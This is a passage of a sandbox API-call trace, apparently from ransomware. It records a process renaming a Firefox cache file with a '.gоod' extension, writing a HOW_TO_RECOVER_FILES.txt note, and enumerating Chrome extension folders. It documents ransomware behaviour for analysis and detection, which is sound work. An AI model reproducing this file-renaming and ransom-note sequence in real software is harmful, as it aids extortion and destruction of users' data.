hTemplateFile=0x0) returned 0x768 [0223.891] GetFileType (hFile=0x768) returned 0x1 [0223.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.892] GetFileType (hFile=0x768) returned 0x1 [0223.892] WriteFile (in: hFile=0x768, lpBuffer=0x3702f80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209edc28, lpOverlapped=0x0 | out: lpBuffer=0x3702f80*, lpNumberOfBytesWritten=0x209edc28*=0x1010, lpOverlapped=0x0) returned 1 [0223.892] CloseHandle (hObject=0x768) returned 1 [0223.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite.gоod", lpFilePart=0x0) returned 0x66 [0223.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x81a9f973, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40010)) returned 1 [0223.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.892] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite.gоod")) returned 1 [0223.893] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0223.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edd60) returned 1 [0223.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0223.894] GetFileType (hFile=0x768) returned 0x1 [0223.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcd0) returned 1 [0223.894] GetFileType (hFile=0x768) returned 0x1 [0223.894] WriteFile (in: hFile=0x768, lpBuffer=0x3782db0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ede28, lpOverlapped=0x0 | out: lpBuffer=0x3782db0*, lpNumberOfBytesWritten=0x209ede28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.895] CloseHandle (hObject=0x768) returned 1 [0223.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0223.896] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x69 [0223.896] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0223.896] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.896] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_1", cAlternateFileName="")) returned 1 [0223.897] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_1", cAlternateFileName="")) returned 0 [0223.897] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0223.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0223.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0223.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0223.897] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x69 [0223.897] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0223.897] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.897] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_1", cAlternateFileName="")) returned 1 [0223.898] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.898] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0223.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0223.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0223.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed3c0) returned 1 [0223.898] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1", nBufferLength=0x105, lpBuffer=0x209ece60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1", lpFilePart=0x0) returned 0x6f [0223.898] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\*", lpFindFileData=0x209ed0e0 | out: lpFindFileData=0x209ed0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0224.364] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82702b3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8b402ad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87e24c5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87e4a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="contentscript_bin_prod.js", cAlternateFileName="CONTEN~1.JS")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87ec116, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87ebfa2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="dasherSettingSchema.json", cAlternateFileName="DASHER~1.JSO")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87f3645, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87f5be2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventpage_bin_prod.js", cAlternateFileName="EVENTP~1.JS")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8266675, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87fd112, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b3184c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88047bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8806d52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="page_embed_script.js", cAlternateFileName="PAGE_E~1.JS")) returned 1 [0224.365] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0224.366] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8813228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe881592f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe881592f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0224.366] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8813228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe881592f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe881592f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0224.366] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0224.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed300) returned 1 [0224.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed2c0) returned 1 [0224.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed3c0) returned 1 [0224.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1", nBufferLength=0x105, lpBuffer=0x209ece60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1", lpFilePart=0x0) returned 0x6f [0224.367] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\*", lpFindFileData=0x209ed0e0 | out: lpFindFileData=0x209ed0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0224.367] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8263f62, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc5168ad8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82702b3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8b402ad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87e24c5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87e4a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="contentscript_bin_prod.js", cAlternateFileName="CONTEN~1.JS")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87ec116, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87ebfa2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="dasherSettingSchema.json", cAlternateFileName="DASHER~1.JSO")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87f3645, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87f5be2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventpage_bin_prod.js", cAlternateFileName="EVENTP~1.JS")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8266675, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87fd112, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b3184c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88047bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8806d52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="page_embed_script.js", cAlternateFileName="PAGE_E~1.JS")) returned 1 [0224.369] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0224.369] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8813228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe881592f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe881592f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0224.369] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ed0a0 | out: lpFindFileData=0x209ed0a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.369] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0224.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed300) returned 1 [0224.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed2c0) returned 1 [0224.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0224.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0224.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x3689100 | out: lpFileInformation=0x3689100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82702b3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8b402ad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1378)) returned 1 [0224.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0224.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", 